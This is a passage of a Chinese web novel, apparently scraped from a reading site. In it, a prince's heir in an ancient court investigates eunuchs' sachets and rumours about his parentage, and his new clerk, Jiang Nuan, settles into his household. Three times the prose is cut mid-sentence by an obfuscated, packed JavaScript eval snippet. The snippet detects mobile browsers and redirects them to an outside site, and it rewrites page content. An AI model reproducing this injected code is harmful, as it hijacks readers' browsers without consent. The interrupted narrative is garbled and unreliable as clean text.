小太监恭敬道:“回世子,是皇后跟前的守忠公公,听说前两天病了,怕过病气给娘娘,便宿在了宫外,今日方回来。” 说完好一会儿也没听里面有下文,小太监便不再多嘴,安心驾车往宫内去。 昨夜皇上龙体欠安,所以今日便取消了早朝。这会儿子一路上倒是冷清得很,只有禁卫军在四下巡逻和换岗。 沈晏由小太监扶着下了马车,小太监躬着身行了个礼准备告退。 “公公等等。” “世子可还有什么吩咐。”小太监战战兢兢地回过身,腰一直弓着,眼睛只盯着脚下的砖地瞧。 沈晏朝他走了两步,将手里的东西递到他眼下,轻声道:“公公的香囊掉了。” 他手心上是一个蟹青色的香囊,与那日在林中捡到的一般无二,唯一的区别是那个香囊上绣了兰花。 小太监双手接过,诚惶诚恐地道了谢,又听头顶的声音响起。 “公公这香囊为何不锈花?” 小太监擦了擦汗,回答道:“回世子,一般只有各宫的总领太监才有资格佩戴绣花的香囊。”心里不由地腹诽今日这安王世子怎么如此话多。 就在他以为安王世子还要问什么后,世子挥手让他退下了。他一时如蒙大赦,麻溜地架着马车跑了,仿佛后面有鬼在追。 沈晏也转身移步去了上书房,太监总管万来祥早已等候多时,拂尘一甩猫着小步就迎了上来。 “世子可算来了,皇上都等着急了。”万来祥眯着一双眼睛,双手笼在袖口处,看见沈晏跟看见了亲人似的。 皇上的身体近几年愈发不好了,和皇后娘娘也时常拌嘴。昨儿夜里刚和皇后娘娘置了气,今日见了安王世子,应该能开心些。 沈晏扫了一眼万来祥腰间的配饰,果然见一蟹青色的香囊,上头绣着一只猫。便笑道:“公公这香囊上的猫倒是可爱。” 万来祥楞了一下,低头看了一眼腰间不甚起眼的香囊,一双含笑的眼睛更看不见了。“这小家伙竟能入安王世子的眼,它真是只有福气的猫崽子。” 万来祥宫外的宅子里养着好几只猫沈晏是知道的,他将爱猫绣在随身佩戴的香囊上也合情合理。 说话间,两人到了门口,里头传来几声重重的咳嗽声。还未等李来祥通禀,皇帝便开口道:“还不进来。” 李来祥恭敬地将人请进去,自己则亲自在门外守着,顺带打发走了两个小太监和宫女。 皇帝站在案牍后,简单穿着便衣,面颊微微泛着病态的潮红,正弯腰提笔给一副仕女图画像勾勒五官。 沈晏上前行了个礼,皇帝头也没抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈晏想起方才案牍上的画,问李来祥:“皇上经常想念云妃吗?”那画中女子穿宫装,五官的模样与他曾在沈慕朝的府中见过的云妃娘娘的画像极为相似。 除了案牍上的那副,旁边还搁着好几幅画好的,穿着一样的衣裙,只是眉眼间有细微的差别,但应当都是同一个人。想来是作画之人记忆模糊了,所以一遍又一遍地描摹,终还是没能画出自己满意的一幅。 李来祥奇怪地看了沈晏一眼,道:“世子见过云妃?”若他没记错,云妃过世后不久,这安王世子才时常被皇上接进宫里小住,按理来说应该不曾与云妃面见过才是。 沈晏解释了缘由,李来祥了然地点点头,继续道:“云妃娘娘最是蕙质兰心,在世时颇得陛下怜爱,可惜红颜薄命。”说及此处,唯有一声叹息。 沈晏听着略皱了皱眉头,沈慕朝曾向他提起,他的母妃在世时并不得皇上的宠爱。不过他也没兴趣好奇这宫闱之事,疑惑只短暂划过心头便被放下了。 …… 大理寺卿谈望舒今日在上值的路上,乘坐的马车车轴突然坏了,他立马差了车夫回府去取,这会儿刚好在更换新的。 若安王府的马车不是那么宽敞的话,他们应该是可以从旁边过去的。 姜暖打了车窗的帘子,一边啃着馒头一边看唐枳和那马车的主人交谈。对方约莫四十来岁的年纪,面上干干净净未蓄胡须,眼角虽有些许皱纹,但却一点都不显老。和唐枳站在一处,身量同唐枳一般无二,穿着一身红色的官服,整个人显得儒雅又挺拔。 他同唐枳寒暄了几句,许是察觉到了姜暖的目光,侧脸看过来。 嚯。 姜暖心中赞叹道,好一个气质温润的中年人。 在她的印象中,上了年纪的中年人身上不是一股好为人师的油腻味,就是外表有大腹便便的将军肚。像这人这般板正挺拔,气质温润的中年男人倒是少见。 谈望舒看向姜暖的时候脸上的表情定格了一瞬,随即又很快朝她笑了笑,算是打了个招呼。姜暖扬了扬手里的馒头,当做是回应。对方这回明显的怔愣了一下,又笑着扭头同唐枳交谈起来。 看完了热闹姜暖便缩回了马车内,谈望舒的马车也修好了。 两人拱手作别,谈望舒登上马车,车夫将马车挪到路边,等安王世子府的车架先通过后,这才驱车离开。 在两辆马车相错时,谈望舒忍不住撩开窗帘看过去,只见对面车帘飘动的缝隙间露出了一张鼓着腮帮子的侧脸。 20. 第 20 章 等到了安王府,马车还没停稳,一早就伸长了脖子站在门口的康伯连忙上前迎接,耳顺之年的小老头甚至激动地跑了两步。 “世子回来了……”伸出手准备去扶人,谁知道里头竟然钻出一个姑娘来。 康伯给吓了一跳,又探头往马车里头看去,结果一个人影没有。他扭头问唐枳:“世子呢?” 唐枳下了马,笑道:“世子去了宫里,估摸着要耽误一会儿。” 康伯小声地哼了一声,不大高兴小主人出远门回家竟然不是第一个进家门,这宫里有什么好的! 姜暖仰头看着安王府好生气派的门匾和大门,不由地有一种刘姥姥逛大观园的心情。 康伯好奇地打量了她一眼,用眼神询问唐枳这丫头是打哪儿来的。 “我正要跟您老说呢。”唐枳领着姜暖跟康伯往府里走,煞有其事地说道:“这姑娘是世子半路买的丫鬟,卖身葬父看着可怜呐……” 姜暖一边听着唐枳在前头瞎编,一边在两人背后转着圈儿的参观。这一路经过了不少府里的仆从,皆是训练有素的,无人抬头张望,都低着头端着东西步履匆匆地穿梭在各处的走廊。 内里的院子很大,栽种着许多种类的树木花草,假山置景,流水叮咚。曲折的回廊在其中穿过,从两侧的窗格可窥见院中不一样的景色,所谓一步一景便是如此了吧。 “康伯,你给她挑一个独立的屋子暂且住着。”唐枳突然低头靠近康伯的耳朵,叮嘱道:“要方便时时刻刻盯着,此人对世子极为重要。”极为两个字他还划了重音。 康伯立刻换上一副原来如此的眼表情,须点点头道:“那是要好好安排一下。” 在姜暖不知道穿过几个拱门之后,他们来到了一处宽敞的院落里,随后又从左边的拱门进去,便到了一处极为幽静的小院子。 小院子不大,院中靠墙的位置有一棵高大的榆树,树下有一石桌。左侧有一鱼池,里头养着三色锦鲤,右侧有间悬山顶小屋,与拱门另一边的歇山顶主屋毗邻。 看起来像是一套子母院。 唐枳有点疑惑地看向康伯,用手比划道:“安排在这儿?” 康伯笑着摸了一把胡子,道:“这儿是最合适的。” 唐枳挠挠头,问:“还有没有其他的屋子?” 康伯白了他一眼,没好气道:“东跨院和西跨院早就封了没人住,也不能将人往东西厢房安置,不合规矩。” 唐枳心道安置在这儿也不合规矩吧,这小院子可是以前大世子住的。 听说最开始是安王差人修的,因为有一次跟安王妃吵架了,安王妃不让他进屋,他只能去别的房间睡,嫌弃离安王妃太远了。 于是第二天就立马找了匠人在主屋院子旁边开辟了这么一个小院子,往后安王妃再赶他出去,他就睡这里。两间屋子的寝房只有一墙之隔,到了晚上他便隔着墙壁哄隔壁的安王妃。往往不出一日,人就又搬回去了主屋。 后来,大世子出生后,这小院子就给大世子住了。 再后来,大世子过世后,这间小院子便一直空着。 “这地儿不错啊,我挺喜欢。”姜暖一听老管家这是给她安排住的地方,便毫不客气地进去溜达了一圈。 她本身对居住的环境不太挑剔,但能住在这么大一间的独立院落,她还是很高兴的。立马表示可以马上办理入住,万万没有让到手的好处飞了的道理。 “姑娘喜欢就好。”康伯顿时笑得春风满面。 唐枳:? 他觉得康伯可能误会什么了。 “康伯你这鱼养的不错。” “害,都没怎么照料,就每天给点食儿。” 一老一少前后脚在院子里溜达参观起来,姜暖看啥都稀奇,把里头种的花草树木都问了一遍,问完了还要夸一句康伯真厉害。 康伯的嘴角全程就没下来过,看向姜暖的眼神也愈发慈祥和蔼。就连姜暖问鱼池里的那尾肥硕的大黑鱼能不能吃,康伯都能笑眯眯地说:“这鱼刺多,晚上让厨房杀一条黑鱼红烧,那个味道好。” 唐枳:“……” 事情好像有点不太对劲。 沈晏回到王府的时候,康伯正吩咐厨房里的厨娘杀鱼。得知姜暖被安排在琴瑟小院,他略微楞了一下,便抬步往那处去。 进了小院,倒是没看到人,只有石桌上放着一盘瓜果。 突然头顶传来细微的咔嚓声,沈晏闻声仰头看去。 只见姜暖站在榆树的枝桠上,一只手撑着树干,另一只手正拿着一个雪梨啃。嘴里嚼着梨肉,眼睛亮晶晶的,似乎是对自己的领地十分满意。 姜暖又咬了一大口梨,心道此处真是个绝佳的架狙位置。 “你在树上干什么?” 姜暖冷不丁被沈晏吓了一跳,低头就见沈晏面无表情地看着他,一张好看的唇微微抿着。 “看风景呢。” 姜暖说完,把梨往嘴里一塞,抱着树干丝滑地落了地。 “你啥时候回来的?有啥新任务吗?”姜暖拍拍手,三两下把果肉咬进嘴里,鼓着腮帮子一动一动地看着沈晏。 沈晏看着她嘴角溢出来的一点汁水皱了眉头道:“你平时是吃不饱吗?” 怎么她每次吃个东西都像个松鼠似的恨不得一口全倒嘴里,然后吃得满嘴都是。 是外头闹饥荒了么? 姜暖嚼吧嚼吧停下来说:“没啊。”又嚼了两口,继续:“这么吃香啊。” 他们那儿都这么吃饭,好东西都得抢着吃,慢了就会被个别几个牲口全倒嘴里了。 将嚼碎的果肉咽下去,姜暖这才掏出怀里的帕子擦嘴。 沈晏一看那帕子好像是他之前给她包扎伤口的那条,眼神突然便得有点微妙。 “世子到底有什么吩咐,给个痛快话。” 姜暖擦完嘴又把帕子往怀里一揣,心道这人怎么变墨迹了,杵这儿好半天了,除了看她吃梨,就没干别的。 沈晏看着她的动作,不自然地移开了对视的眼睛,道:“我向皇上给你求了个差事,明日随我到镇安司报道。” “差事?”姜暖疑惑,怎么又来了一份工作,给他当丫鬟还不够,还要去他的工作单位再打一份工吗? 这究竟是有多不放心她,恨不得一天是十二个时辰都要监视她。 “怎么?不愿?”沈晏看她一副不大高兴的样子,以为她不愿意,便解释道:“有一个小吏的官身傍身,旁人再想动你也得掂量一下。” 换句话说,比起在安王府给他当个小丫鬟还是给朝廷打工要命贵一点。看来这背后之人来头不小,想必是数一数二的大人物。 “那香囊究竟是谁的?”姜暖还是没忍住问出了口。 本以为沈晏会顾左右而言他,没成想他直截了当地回了两个字:太监。 姜暖屏住了呼吸,身体不由地往后仰了仰。没想到来头这么大,不过仔细想了一下,能算计安王世子,有这个来头也还挺正常。 “你那日在林中怎么没给我说?” 沈晏十分坦然:“你没问。” 姜暖:“……” 行吧,好像确实是。 “任职书呢?”姜暖伸手。 沈晏递给她,她拿在手里看了半天,确实是任职书,由安王世子沈晏推荐,前往镇安司担任录事一职,负责暗探密文的破译工作。 ? “我可没说我会密文。”这沈晏不会是诈她呢吧。 沈晏抱着手笑道:“那你就是欺君。” “……”好家伙,真是心思毒辣。 “你怎么看出来我认识密文的?”她的演技有那么差吗? “猜的。” 呵。 鬼都不信。 自天衣阁两位阁主去世,阁中的老人便所剩无几。后来皇帝成立了镇安司,天衣阁便只负责对周边各国的潜伏探查,阁中所存的大部分函件密信都移交到了大理寺封存。 姜暖现在虽然是镇安司的人,但上值的地方却是在大理寺内。 走完任职流程,在镇安司领了官服和腰牌后,姜暖便由沈晏亲自带着前往大理寺,一路上惹得不少人交头接耳窃窃私语。 在大昭,女子为官倒不是什么特别稀奇的事,自从温岫温将军十六岁与南疆名将麻奴一战,逼得对方丢盔弃甲而逃之后,大昭便出了一位将帅奇才。在那以后女子为官之路便好走了一些,私下虽仍有争议,但从来没有人在明面上攻讦过此事。 而今日之所以对姜暖议论纷纷,皆是因为她是安王世子亲自举荐,且安王世子对她还颇为照顾,搞得大家都有点八卦起来。 原本都还只是小声讨论,直到七殿下也来了。 “姜暖你怎么去镇安司做了个小小的录事?” 她和沈晏刚出镇安司的大门,就瞅见七殿下立在门口,一见姜暖出来便旁若无人地往她身上靠。 “殿下,你今日怎么穿了男装?”姜暖不自在地垮了一下肩膀,避开沈慕朝想搭过来的手。 今日沈慕朝穿得是清爽的男装,看款式应该也是工作服一类。只是平时见他女装习惯了,乍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608356|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看他男装的装扮倒是挺新奇的。 “怎么样?我穿男装也好看吧?”说着他还原地转了一圈,像个开屏的孔雀。 回了昭宁城,他除了能在府中穿女装尽兴一下,在外还是作男装打扮。否则父皇又要生气关他小黑屋了,他可吃不了这个苦,所以只好牺牲一下咯。 “好看,像个绿孔雀。”姜暖老实回答。 沈慕朝高兴地要过去挽她的手,姜暖给他扒拉开,“男女有别啊殿下。” 自从那日遇袭后,她就觉得这七殿下脑子坏掉了。 “这个时间你不是该进宫吗?”沈晏在一旁问。 “我听外头的人说,安王世子招了一个女子进镇安司,便过来看看。”说着,又拿出一个食盒,“这是我府中的厨子做的,你尝尝?” 盒子里头是一碟模样好看的糕点,雪白雪白的像东北的雪绵豆沙。 姜暖古怪地看了他一眼,“殿下你干嘛送我吃的?”嘴上虽然这么说,手还是很诚实地将食盒接了过来。 沈慕朝正欲说什么,沈晏催道:“该走了。” 姜暖连忙与沈慕朝道别,然后跟上了沈晏已经大步离去的步伐。 “这白玉团你记得吃。”沈慕朝不放心叮嘱道。 两个人头也不回。 “唉,真是无情……” 这原本只是一段小小的插曲,最后不知道怎么传的,传到后面变成了安王世子和七殿下为了一个女子在镇安司门前争风吃醋。 更有甚者说安王世子横刀夺爱,七殿下门前质问,三人吵得不可开交,最后不欢而散,七殿下黯然神伤,最后哭红着眼睛去上值。 而另一边作为主角之二的两人浑然不知。 谈望舒听说安王世子带了人来,起身出门迎接,一眼便瞧见了后头跟着的姜暖。 “安王世子举荐的人竟然是这位姑娘。” 姜暖也看见了他,眼里也有诧然之色,道:“原来你是大理寺卿!” 沈晏看着二人好似相识的样子,问:“你们见过?” 谈望舒便把那日之事简单说了一遍,又道:“我与这位姜录事倒是有缘。”那语气颇有几分相见恨晚的感觉,但又夹杂了些许故人重逢的喜悦之情来。 沈晏说明了来意,谈望舒因有公务在身不便陪同,便另找了人带两人前去。 姜暖本以为她到了工位,沈晏就会离开,没成想他也找了个桌子看起卷宗来。她瞟了一眼,好像是关于四年前昭宁城的恶钱一案。 …… 卧牛山一事失利后,皇后的头痛愈发严重,连带着整个人的脾气也喜怒无常起来。之前太子还能每日在散朝后去坤宁宫探望,但自从上次表舅舅去过后,他便再也没见过皇后娘娘。 太子便去了李维翰的府上,才知表舅舅也病了。 李维翰趴在床上哭天喊地,背上全是血呼啦的印子,那是李家家法的藤条留下来的。 太子惊呼:“表舅舅你这是犯什么错了?”舅公一向疼爱表舅舅,这次怎么会下如此重的手。 李维翰疼得龇牙咧嘴,解释道:“没事儿,就是前不久喝花酒惹了一点小事儿。” 又问:“殿下今日怎么来府上了?” 说起这个,太子殿下就有些难过起来,道:“这几日母后都不见我。” 太医院的太医对这个病症皆是束手无策,只能每日开大剂量的安神汤让母后得以安睡,不过还好守忠这几日寸步不离,他的按摩手法能暂时缓解母后些许疼痛之症。 但母后这几年性情大变,脾气也愈发捉摸不透。 长此以往,怕是…… “你母后那是心病,皇上若能对她好些,她也不至于……”后面的话没说,但是两人都心知肚明。 太子也止住了话头,话锋一转,说起了今日早朝,内阁上书卧牛山剿匪一事。 “皇上怎么说?”李维翰问。 太子答:“父皇自然是允了的,但是人选尚不能定下来。” 卧牛山匪患一事一直是朝廷的心结,但前面积压着黑河水患一事,单只剿匪也是治标不治本,所以这事便一直搁置着。今日内阁却突然上书奏请剿匪,舅公等一众臣子也站出来附议,陛下虽然允了,但对于群臣所推举的人都不甚满意,所以此事便没有定下来。 李维翰哼哼两声,不以为意。反正最后派去的人还是他们李家的人,那几大箱送上去的恶钱,怎么也查不到他的头上。倒是皇后娘娘越来越疯了,日后怕不是还要做出更大胆的事来。 不过要是真疯了,倒还好了。 21. 第 21 章 大理寺内留存的关于密文的函件并不多,姜暖只花费了一个下午就整理完了。 根据函件上的字迹辨别,一共有七八个人的笔迹,其中只有一封同青衣的笔迹很像,其余的应当是另外几个密探的。 姜暖问沈晏有没有遗漏的,因为这些人中没有一个是师父。师父当年若是真的教过别人这些字母,那么应当有她的教学痕迹才对。 “没有。”沈晏从一摞卷宗里抬起头,“这密文从何而来一直是个谜,之前我特地调查过,会这个密文的几乎都是潜伏在南疆的探子。”这也是为什么知晓这个密文的暗探无一人存活的原因。 当年青罗城鬼哭林一战,牵扯了几乎所有南疆的探子,在青衣叛国一事揭露后,他们全都在抓捕的过程中死亡了。 “那会不会是从南疆传过来的?” 或许她师父现在在南疆! “不会。” 沈晏斩钉截铁地打破了她的幻想,“南疆并没有发现这种文字的痕迹。” “哦。”姜暖心头有点失落。 “密文中有可用的信息么?”沈晏问。 姜暖将内容翻译成汉字递给沈晏,“都是一些无用的吃喝拉撒。”里头几个重复的人名应该就是重点监视对象。 沈晏皱着眉看着纸上歪七扭八的字,着实有点头疼,而且好几个字都写错了。 他迅速浏览完一遍,道:“确实都是一些不怎么重要的信息。”看来是有人提前将关于五年前南疆的军情消息都销毁了,只留下一些无关紧要的消息。 沈晏扯了一张白纸,提笔开始誊写了第一份函件上的内容。 姜暖以为他这种身份写出来的字应该是气势磅礴凌冽外放的,没想到这字体竟然很娟秀,对比起她的狗爬字确实赏心悦目不少。 沈晏写完第一份的内容后便停了笔,将纸掉了个头,手指头在桌子上轻轻点了点。 姜暖疑惑地看着他。 “练练字吧。”沈晏语重心长。 这些密文翻译出来还要呈交给皇上过目的,她这个状如恶鬼的字,恐要污了圣人的眼。 “……” 行吧,搞了半天她的新工作就是在档案室里练毛笔字。 往后接连好几日沈晏都不见踪影,姜暖虽暂时住在安王府,但也不会日日碰见沈晏,算是过了一段风平浪静独来独往的日子。 七殿下虽然人未露面,但每日都会送上一些吃食到安王府,指明是给姜暖吃的。 姜暖吃着沈慕朝送来的点心,住在沈晏安排的独居小院,这会儿康伯给她挑的两个丫鬟在小院里浇花喂鱼。 她突然有一种鸠占鹊巢的感觉。 还挺舒服的。 就是有点太舒服了。 今日她照常去大理寺上值,在门口碰见了谈望舒。她本来打算打个招呼就走,但谈望舒却罕见地跟她拉起了话常。大理寺卿好像是个大官,应该不能甩脸子,于是她便放慢了步子跟他并肩往里走。 谈望舒手里提着一个食盒,像一个大学里的教授提着公文包,在跟一个偶遇的学生聊天,儒雅且随意。 姜暖本来没什么情绪地聊着闲天,直到谈望舒将手里的食盒打开,露出了里头朴素的点心。 说是家慈做的家乡小吃,让她赏脸尝一尝。 姜暖本来想拒绝,这一天天她都快成动物园里的猴子了,一直被人投喂。可食盒中一股清香却诱人得很,应当是野菜饼之类的。 她没忍住便拿了一块。 许是看她吃得太香,谈望舒直接把食盒都给了她,她也颇为厚脸皮地接过了。 谈望舒说这是永州的特色,若她喜欢,得空可以去他家做客,最后又问起她是哪里人。 姜暖并不知道这身体的原主人是哪里的,便随口说了一句漓州云县人士。 谈望舒的眼里闪过一丝失落,但转瞬即逝。 等到了廊下,两人道别,姜暖便抱着食盒离开了。 又过了几日,姜暖还是没见到沈晏,倒是听到了一些关于沈晏的风言风语。这日她下值早,便换了便服去西市转了转。 相较于东市的高端,西市更有烟火气,店铺都是紧挨着的,路上的行人摩肩擦踵,小贩的叫买声也此起彼伏。店铺外旗帜招展,店铺内人声鼎沸,热闹非凡。 此地三教九流聚集,各种小道消息八卦讯息流窜于西市的各个角落,先不论真假,主要体现在一个字,广。 凡事能说的不能说的,在这里你都能听到,真假掺半,大家也就听个乐呵。 姜暖买了一包糖炒板栗,一边磕一边在几个茶铺之间游走,她正听着一些关于皇后那一大家子的八卦呢,旁边的桌突然有个尖细的声音钻进了她的耳朵。 “听说了么,这安王世子不是安王亲生的!” 说话这人声音压得极低,围一圈的人听了他说这句话当即就扬手表示不信,觉得这人编瞎话也不知道编一个可信度高的。 那人嗐了一声,道:“我也是听说的,原本也是不信的。” “不信你还四处说给大伙儿听,马扁子你还真对得起你的名字。”有人搭腔道。 这人说完,四周响起哄笑声,有个嗓门大的立马接话道:“马扁子你连镇安司的头头都敢编排,小心晚上镇安司上你那窝棚里抓了你下诏狱去。” 大家伙笑得更大声了,马扁子被笑得恼羞成怒,“去去去,你才住窝棚呢。聊个闲话还犯法了不成!” 掌柜的过来添茶,也打趣他道:“马扁子你这闲话来头可不小,小心半夜遭人捉了舌头去!” “我也是听来的,要捉也是先捉别人。”他拢了拢袖子道。 “何处听来的?我们怎么不知道。”又有人道:“莫不是你吃醉了酒听错了。” 马扁子啜了一口茶,手指撇了两下胡子优哉游哉道:“哪里听的你莫管,反正说得头头是道。”他又掸了掸袖口的灰,撩起衣摆抖了抖,装模作样起来,“我看是八九不离十呐。” 众人突然来了点兴致,忙不迭问他这事儿的来龙去脉,连在柜上擦茶碗的掌柜也走了过来,手里的活计倒没停。 马扁子一看有人捧场,那脖子竖得笔直,清了一口嗓子就开始娓娓道来,茶铺里的几个人也像那大白鹅似的,朝着马扁子伸长了脖颈。 姜暖找了个角落的位置坐下,一边剥着板栗一边听马扁子口若悬河。 这事儿说起来也不稀奇,如今的安王世子其实前头还有个哥哥,两人都是安王妃所生。这哥哥自小就是体弱多病,同安王小时候一样,见不得风,淋不得雨。稍有不慎便是大病一场,自小这府里的煎药炉就没断过炭火。广济寺的主持空明大师说过,若此子能平安顺遂活过十二岁,便能一生无虞。 可惜啊,天不遂人愿,在夫妻二人精心照料下,大世子在九岁的时候落了水塘便一命呜呼了。 掌柜擦着碗插话道:“你说的这些都是大家伙知道的,同你要说的那件事有何关联?” “我正要说呢,你别打岔!”马扁子不满道。 掌柜闭了嘴,用手示意他继续。 马扁子卖了个关子,问:“大伙想想,如今这个世子与他亲哥哥有什么不一样?” 众人你看看我,我看看你,一时间都说不上来。 马扁子环顾四周,突然一拍桌子。 “我们这位世子虽说是早产,但自小就身强体壮,才三岁就把整个王府闹得是人仰马翻。” 又说:“同样是安王妃所生,为何差距会这么大呢?” 众人听罢嘘出声,母猪下崽儿还有强弱之分呢,这说法也太过牵强。 有人立马质疑:“马扁子你吃醉酒了吧。” 有人开始抱怨:“散了散了,这马扁子嘴里就没一句实话。” 有人乘机调侃:“听说镇安司管吃管住,马扁子你为了进去过好日子真是煞费苦心呐。” 不一会,铺子里的人都散得差不多了,连掌柜的都摇头往柜台那边去了。 “我还没说完呢,哎别走啊……”马扁子着急地站起来,“后面才是重头戏呢。” 可是没什么人听他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613196|187143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,三三两两站起来结账,马扁子急了,脱口而出:“若接下来说的不够精彩,我把门口那羊粪蛋子生嚼了。” 刚刚一个小贩赶了两三只羊羔路过,其中一只羊在铺子门口拉了几坨新鲜的。 众人一听来劲了,要走的也不走了,还没走远的又折回来了。比起故事的真假,他们更期待马扁子生嚼羊粪蛋子。 …… 沈晏小时候确实生龙活虎,连哭声都比哥哥大上许多,虽然早产了两个月但个头却跟足月的婴孩差不多,甚至还比某些寻常的婴儿康健,一直到他能走路说话,都没怎么生过病。 为了照看他,在他的院子里伺候的人比大世子院子里的人还要多,就这样也时常闹的府内人仰马翻的,一个没看住就要四处惹祸。 据说安王妃极不喜欢他,除了刚出生的时候看过一眼,其余时候都是丢给奶妈们照料。给他安排的院子也离主殿较远,安王妃几乎不往那院子里去。 反倒是安王略上心一些,隔三差五便亲自过去看一眼,但大部分的时间都留在主殿陪王妃和大世子。 沈晏三岁之前,他的记忆中除了身边时常陪着的奶娘丫鬟就是管家康伯,对父亲的印象就是隔三差五会有个高大的男子给他带的一些小玩具,而对于母亲,只存在于下人们的口中。 后来他知道了自己还有一个哥哥,同父亲母亲住在一个小院里。于是,在他三岁的时候,他偷便乘下人不备偷溜出了院子,也见到了他的哥哥。 后来没过多久,他的哥哥便落了水,他的母亲哭着喊着要把他扔出去。他被吓坏了,穿着一身湿漉漉的衣服被奶妈和康伯领回了院子,发了三天三夜的高烧。 那是他第一次生病,也是他第一次知道自己好像不受欢迎。 姜暖将最后一颗栗子塞进嘴里,心道,这听起来怎么反而不像是安王妃亲生的?会有母亲不喜欢自己亲生的孩子吗?那安王对沈晏倒是比安王妃上心,不是他的孩子也能做到爱屋及乌吗? 鼓动着的腮帮子渐渐瘪下去,她拿起茶碗喝了一口茶水含在嘴里漱口。 其他人也听迷糊了,“照你这么说,那这孩子看起来不像是安王妃生的。若是其他女子所生,那也还是安王的种啊。” “非也。”马扁子摇头晃脑道:“安王妃当年虽然是在外地生下的小世子,但皇上可派了太医前去探望,确实是安王妃所生。再者说安王也没有其他妾室,这孩子当然是从安王妃的肚子里爬出来的。” 有人急了,“那你说说这安王妃是跟谁生的?” 马扁子又卖起了关子,“你们且说说这安王世子长得像谁?” 一时间茶铺里窃窃私语,有人见过安王,有人没见过。见过的人道安王眉眼明明有几分同安王相似,这马扁子莫不是成心编了瞎话耍弄他们。 突然,有一个老实巴交的汉子说道:“好多年前除夕夜时,我曾远远瞧见过在城楼上为民祈福的圣上,世子长得跟年轻时候的圣上很相似。” “有多相似?”有人问。 汉子低头思考了一会儿,道:“反正比起安王,世子更像圣上。” 顿时,整个铺子无人敢说话。 姜暖的心头掀起惊涛骇浪,咕咚一声将嘴里的茶水咽了下去。 有人受不了这诡异的氛围,笑着打破了寂静,“那安王和圣上都是同一个爹妈生的,长得像一点有什么稀奇咧,有些外甥还像舅舅咧。” 又说:“我看啊,说不定世子更像先皇咧。” “就是就是。”另一个人出口附和,笑骂道:“马扁子你又是从哪个话本子里找的灵感,编一些子虚乌有的事儿骗茶钱呢。” “我觉得肯定是马扁子骗茶钱,老板你这回可不能让他白喝。” 还有人闹着要马扁子吃羊粪蛋子,马扁子耍赖道:“我只说了不精彩便吃,可没说过保真啊。” 茶铺内又是一阵嬉笑怒骂,早把说的惊天秘闻抛诸脑后了。 姜暖在桌子上撂下两个铜板离开,没想到在回王府的半路上遇到了多日不见的七殿下。 22. 第 22 章 姜暖打了个招呼说了一句好巧。 “不巧,我是专门过来寻你的。”沈慕朝打发了随从将马牵走。 两人沿着东市大街溜达,沈慕朝说:“我今日刚下值就去安王府找你去了,康伯说你去西市玩了,所以我特意过来找你。” 姜暖倒是有些受宠若惊了,不知道什么样的大事还能让七殿下骑着马来找她。 只见他神秘一笑,问:“你明日可是休沐?” 姜暖点头,斜眼问:“你有事?” 沈慕朝挑了下眉,说:“你之前不是说你想学骑马吗?” 姜暖偏过头看他,有些不可置信:“你不会是想教我吧?”据她所知,七殿下好像不擅长骑马,之前不是都坐在唐枳屁股后头被载回来的么,因为大腿疼还哭了好久。 沈慕朝一副你真聪明的样子,大言不惭道:“我教你可是绰绰有余好吧。” “而且,我那儿不仅场地大,还有众多品种的马任君挑选。”他堂堂飞龙使,统管天厩坊所有的马匹,那里头的马不是随便骑? 又说:“之前父皇赏我的良驹里有一匹小母马脾气特别温顺,届时你若是喜欢本殿下便送你。” 姜暖恍然大悟:“噢,原来殿下是弼马温啊……” “什么温?” “没什么。”姜暖转移了话题,“你真能教?” 沈慕朝哼了一声,拍了拍胸脯道:“明天给你露一手。” 于是,第二天一大早,姜暖就坐上了沈慕朝的马车,绕过长乐宫一路出了玄武门,直往北郊大营马场而去。 北郊大营马场旁边就是北苑,是皇家专用的狩猎围场,绵延了好几座山头,风景自然是不用说。 此时谷雨刚过,大地已然回春,天气爽朗得让姜暖不由地哼起了儿歌。 “这山里有老虎么?”姜暖问。 “前年北边的小国送了两只,一公一母。”沈慕朝用下巴指了指北苑的山头,“养在那里头呢。” 姜暖莫名地笑了一下,心道我这儿歌还哼得挺应景的。 “你哼的什么曲子?挺有趣的。” “两只老虎。” 沈慕朝的脑袋一下子没转过弯来,“哈?” 说话间就到了,两个人下了马车,门口有个小侍卫迎了上来。 “殿下今日怎么有空过来?” 他虽然管理着天厩司,但是天厩司管理的是皇家马匹,北郊大营马场里养的都是战马。 沈慕朝将手里的披风脱下来丢给小侍卫,道:“过来跑跑马。”后头便有两个人牵了两匹马来,一黑一白,都是刚刚从天厩坊里牵过来的。 那侍卫低头应了声好,便在前头领着人往一处空地去。 天厩坊虽然也有跑马的场地,但是相对于北郊便显得狭小,有时候贵人们便喜欢来这北郊的马场跑跑马,也是隔三差五便有的事。只是平日倒不怎么见七殿下往此处来,今儿他也是见了新鲜事儿了,而且殿下旁边还站着一个穿骑装的女人,跟七殿下身上的骑装好像是出自同一匹料子。 